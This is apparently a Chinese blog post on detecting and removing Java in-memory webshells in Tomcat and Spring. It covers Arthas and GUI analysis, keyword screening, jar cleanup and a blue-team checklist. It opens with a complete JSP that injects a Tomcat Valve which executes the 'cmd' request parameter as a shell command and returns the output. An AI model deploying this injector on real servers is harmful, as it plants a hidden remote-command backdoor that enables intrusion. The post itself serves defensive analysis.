Tomcat-Valve内存马
哥斯拉不支持该类型内存马植入,只能用脚本方式植入
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
};
standardPipeline1.addValve(valveBase);
out.println("evil valve inject done!");
%>

尝试通过scanner脚本查杀,发现脚本已经无法正常打开了

通过GUI工具进行查杀分析成功找到对应的Valve内存马,可进行查杀

通过Arthas工具进行分析

sc * | grep valve
jad --source-only org.apache.jsp.valve_jsp总结
无法通过scanner脚本进行分析,有别于传统的内存马查杀方式,传统内存马这三种都可以,但是遇到这种类型就没法通过scanner脚本查杀,得通过GUI工具或者Arthas进行分析定性。
Spring框架内存马
- Spring Controller型内存马:动态注册Controller及映射路由。
- Spring Interceptor型内存马:动态注册Interceptor及映射路由。
- Spring Webflux型内存马:动态注册WebFilter及映射路由。
遇到框架型的内存马,我们就没法通过scanner脚本,GUI工具来进行查杀了,我们只能通过Arthas工具进行分析。
因为这些SpringBoot框架启动基本都是jar包启动,不放在Tomcat下,我们的scanner脚本基本派不上用场。
Controller型&Interceptor型内存马



通过Arthas排查
sc * | grep Controller
jad --source-only com.example.springinject.demos.web.myInjectController3
sc * | grep Interceptor


Webflux型内存马
先行在靶场植入内存马,尝试通过哥斯拉进行连接

通过Arthas排查
sc * | grep Webflux
在这种情况出现的时候,我们就得换一种方式了,通过内存马的常见关键字进行筛查:
- memshell
- shell
- os
- runtime
- .......

jad --source-only com.example.webfluxmem.WebFluxFilterMemshell
这种也是没办法的办法,如果攻击者换一种的话基本就查不出来了,所以说内存马的查杀还是很有门道的,目前针对这种情况我没有很好的解决方案,要是有其他方法可以告知我。
如何清除内存马
上面我们在内存中分析定性了内存马是哪些类文件,而这些类文件又不像Tomcat有文件目录,他们都在jar包中,我们要怎么进行清除呢?
首先要先停止jar包的运行,然后通过压缩软件打开jar包删除恶意类


重新启动之后就不存在内存马了
蓝队排查思路总结
此类方法纯属个人了解,如有遗漏请大家多多指正
- 先进行资产的梳理,确认采用的组织架构,如:中间件(Tomcat)、开发框架(SpringBoot)等
- 对应查找可能存在的内存马技术,如:Tomcat-Valve、Spring Controller型、传统内存马
- 基于上述信息,我们可以确定我们要采用的分析工具,如:传统则都可用、Spring只能用Arthas等
- 确认采用的分析工具之后进行分析定性,如:Arthas通过命令查找对应的后缀,jad查看反编译源码,dump文件分析定性等
- 定性之后,通过脚本或者其他工具、手工进行内存马的清除
- 最后重启服务观察内存马是否仍然存在
待补充
Tomcat其他类型(如Upgrade、Executor、Poller)的内存马:
- 这些内存马会动态替换或添加全局组件。
其他中间件(如Grizzly)的内存马:
- 动态注册Filter及映射路由。
其他内存马(特殊情况下才能实现植入):
- WebSocket型内存马:动态注册WebSocket路由及处理逻辑。
- Tomcat JSP型内存马:动态注册Tomcat JSP管理逻辑并实现驻留。
- 线程型内存马:启动一个无法被杀死的线程。
- RMI型内存马:动态启动一个RMI Registry。
Agent型内存马:
通过Hook并修改关键方法添加恶意逻辑。Agent型内存马在现代webshell管理工具中有广泛实现。
评论 (0)